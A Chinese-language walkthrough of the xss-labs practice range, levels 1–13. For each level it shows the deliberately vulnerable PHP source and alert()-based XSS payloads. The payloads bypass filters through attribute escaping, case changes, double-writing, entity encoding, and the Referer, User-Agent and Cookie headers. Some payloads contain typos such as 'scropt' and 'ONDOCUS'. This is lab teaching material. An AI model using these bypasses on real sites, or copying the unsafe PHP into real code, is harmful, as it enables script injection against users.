目录
1. 准备靶场
2. PASS
1. Level 1:无过滤
源码:
2. level2:转HTML实体
htmlspecialchars简介:
源码
PASS
3. level3:转HTML深入
源码:
PASS
4. level4:过滤<>
源码:
PASS:
5. level5:过滤on
源码:
PASS:
6. level6:大小写绕过
源码:
PASS:
7. level7:双写绕过
源码:
PASS:
8. level8:Unicode编码
源码:
PASS:
9. level9:http://
源码:
PASS:
10. level10:type属性
源码:
PASS:
11. level11:Referer
源码:
PASS:
12. level12:User-Agent
源码:
PASS:
13. level13:Cookie
源码:
PASS:
1. 准备靶场
xss-labs-all
这是一个很简单的xss
入门级靶场
2. PASS
1. Level 1:无过滤
这一关很简单,因为它没有做任何过滤,虽然很简单,但是在实际中确实很容易出现。
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level2.php?keyword=test"; }</script><title>欢迎来到level1</title></head><body><h1 align=center>欢迎来到level1</h1><?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>欢迎用户".$str."</h2>";?><center><img src=level1.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>
PASS:<script>alert(1)</script>
PA
SS:
由于没有做任何过滤,所以使用什么标签都可以pass
,a
、img
、svg
等都行。如下:
<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<svg/onload=alert(1)>
2. level2:转HTML实体
这一关使用了htmlspecialchars
函数,把特殊字符转换为HTML实体,也就是说<>
会被转换,我们知道,javascript:
协议一旦被编码就不能识别,不能识别就不能触发事件。
htmlspecialchars
简介:
htmlspecialchars
函数会将特殊字符转换为 HTML 实体,以防止跨站脚本攻击(XSS)并确保这些字符在 HTML 中正确显示。具体来说,它会转换以下字符:
&
转换为&
<
转换为<
>
转换为>
"
转换为"
'
转换为'
(取决于使用的标志)
源码
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level3.php?writing=wait"; }</script><title>欢迎来到level2</title></head><body><h1 align=center>欢迎来到level2</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level2.php method=GET><input name=keyword value="'.$str.'"><input type=submit name=submit value="搜索"/></form></center>';?><center><img src=level2.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>
PASS
那么这一关怎么处理呢,两种办法
一、闭合"
二、闭合>
,但是要注意,闭合>
的时候还需要配合一下"
如下:
双引号:"
aa" onclick="alert(1)
尖括号:>
aa"><scropt>alert(1)</script>
3. level3:转HTML深入
这一关也是使用htmlspecialchars
函数,把特殊字符转换为HTML实体。
不同的是更深入一层,这里引入该函数的一些属性:
这里看出,如果它设置了对应属性的话,引号就会被转换,那我们来试一下到底转换的是哪个引号还是引号全部转换。
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!"; }</script><title>欢迎来到level3</title></head><body><h1 align=center>欢迎来到level3</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center><form action=level3.php method=GET><input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /></form></center>";?><center><img src=level3.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>
PASS
尝试"
aa" onclick="alert(1)
可以明显看到不行,这里alert
都没有是识别,说明针对双引号的属性被设置了,再试一试单引号。
尝试'
aa' onclick='alert(1)
这里成功了,那就说明,这里没有设置过滤'
的属性。
除此之外,这一关还有一种做法,如下:
在JavaScript
中有一个函数onfocus
,用于输入框input,select,a
标签获得焦点的事件
所以这样构造:
' onfocus=javascript:alert() '
也是可以的。
4. level4:过滤<>
这一关吧,本意是不让我们闭合<>
,所以其他方法就可以完成了。但是这一关折射出的问题其实是与用户的交互。对于这一关而言,需要与用户交互才会有漏洞,这样的漏洞危害性并不高。
而且仔细分析就会发现,仅使用单引号是不行的,因为它用的是"
包住'
了。
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!"; }</script><title>欢迎来到level4</title></head><body><h1 align=center>欢迎来到level4</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str);$str3=str_replace("<","",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level4.php method=GET><input name=keyword value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level4.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";?></body></html>
PASS:
非<>
:
aa" onclick="alert(1)
非用户交互:
aa"autofocus onfocus="alert(1)
5. level5:过滤on
这一关把on
事件都过滤了,也就是说这里不能使用on
了,而且使用strtolower
函数预防大小写,那怎么办呢。
那么我们就换一个不带on
但是也能达到我们目的的标签,比如a
标签。
我们把POC
插入带a
标签的href
属性中,然后点击我们设置的目标,就可以了。
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!"; }</script><title>欢迎来到level5</title></head><body><h1 align=center>欢迎来到level5</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level5.php method=GET><input name=keyword value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level5.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";?></body></html>
PASS:
a"><a href="javascript:alert(1)">click</a>
6. level6:大小写绕过
这一关把a、img、svg、<script
等进行了过滤,基本上我们在前面使用过的方法都使用不了。但是就跟SQL注入一样,这里的过滤并不包含大写,所以我们可以使用大小写绕过。
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level7.php?keyword=move up!"; }</script><title>欢迎来到level6</title></head><body><h1 align=center>欢迎来到level6</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level6.php method=GET><input name=keyword value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level6.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";?></body></html>
PASS:
a"><ScRiPt>alert(1)</ScRiPt>
这里只演示了一种,其实还有还几种构造语句,如下:
脚本注入a"><SCRIPT>alert()</SCRIPT><"焦点事件a"ONDOCUS=javascript:alert()"a标签href属性的a"><a HREF=javascript:alert()>x</a><"
7. level7:双写绕过
这一关在上一关的基础上把大小写也过滤掉了,也就是说我们是真的不能使用之前用过的方法了。
那么怎么办呢? 在这一关我们可以尝试一下双写绕过,以为我们分析一下会发现,它虽然会过滤很多条件,但是仅仅是单次拦截,并不是多次,所以双写绕过是可以的
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level8.php?keyword=nice try!"; }</script><title>欢迎来到level7</title></head><body><h1 align=center>欢迎来到level7</h1><?php ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]); 大小写不行$str2=str_replace("script","",$str); script不行$str3=str_replace("on","",$str2); 需要on的标签不行$str4=str_replace("src","",$str3); img标签不行$str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); a标签不行echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level7.php method=GET><input name=keyword value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level7.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";?></body></html>
PASS:
a"><scrscriptipt>alert(1)</scrscriptipt>
8. level8:Unicode编码
这一关,看着过滤法则,似乎含严格,几乎把常规的手段都过滤了,什么大小写、双写、标签...都不行。怎么办?
这一关有一个友情链接
那说明我们的输入的接收属性是a
标签的href
属性,而这个属性会自动对Unicode
编码进行解码,那如果我们把POC
进行Unicode
编码,然后当做URL
写入href
,那么随着href
对Unicode
的解码,我们的POC
不就能够识别了吗。
这一关本质是对编码知识的考查,对编码越了解就越简单。
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!"; }</script><title>欢迎来到level8</title></head><body><h1 align=center>欢迎来到level8</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','"',$str6);echo '<center><form action=level8.php method=GET><input name=keyword value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';?><center><img src=level8.jpg></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?></body></html>
PASS:
javascript:alert()
javascript:alert()
9. level9:http://
在上一关我们投机取巧,直接使用编码拿下POC
,但是在这一关不行了,这一关加了一个硬性条件,就是必须要有http://
,没有它不行。
那我们可以尝试在编码的末尾加上它。
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level10.php?keyword=well done!"; }</script><title>欢迎来到level9</title></head><body><h1 align=center>欢迎来到level9</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','"',$str6);echo '<center><form action=level9.php method=GET><input name=keyword value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpif(false===strpos($str7,'http://')){echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}else{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}?><center><img src=level9.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?></body></html>
PASS:
javascript:alert()/* <http://> */或者javascript:alert('http://')
10. level10:type属性
这一关把input
标签隐藏掉了,虽然可以使用GET
型输入把POC
传进去,但是触发不了,所以要想办法把input
标签拿出来才行
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level11.php?keyword=good job!"; }</script><title>欢迎来到level10</title></head><body><h1 align=center>欢迎来到level10</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level10.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>
PASS:
t_sort=a" onclick=alert(1) type="text"
通过改变type
属性的方法,把input
标签拿出来。
11. level11:Referer
这一关在上一关的基础上加上了一个过滤,所以直接使用上一关的方法是不行的。还要配合其他方法。
这里就引入Referer
这个属性了,在html
里它表示用户的来源。
这里建议使用Firefox
浏览器来做,它的一个插件HackBar
很适合做这一关。
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level12.php?keyword=good job!"; }</script><title>欢迎来到level11</title></head><body><h1 align=center>欢迎来到level11</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ref" value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level11.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>
PASS:
a" onclick=alert(1) type="text"
12. level12:User-Agent
这一关就是修改User-Agent属性。跟上一关的原理一样。
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level13.php?keyword=good job!"; }</script><title>欢迎来到level12</title></head><body><h1 align=center>欢迎来到level12</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua" value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level12.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>
PASS:
a" onclick=alert(1) type="text"
13. level13:Cookie
同理,利用Cookie。
源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!");window.location.href="level14.php"; }</script><title>欢迎来到level13</title></head><body><h1 align=center>欢迎来到level13</h1><?php setcookie("user", "call me maybe?", time()+3600);ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_COOKIE["user"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook" value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level13.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>
PASS:
user=a" onclick=alert(1) type="text"
这个靶场后面还有机关,但是涉及的技术是flash,已经被淘汰了,所以就做到这里吧。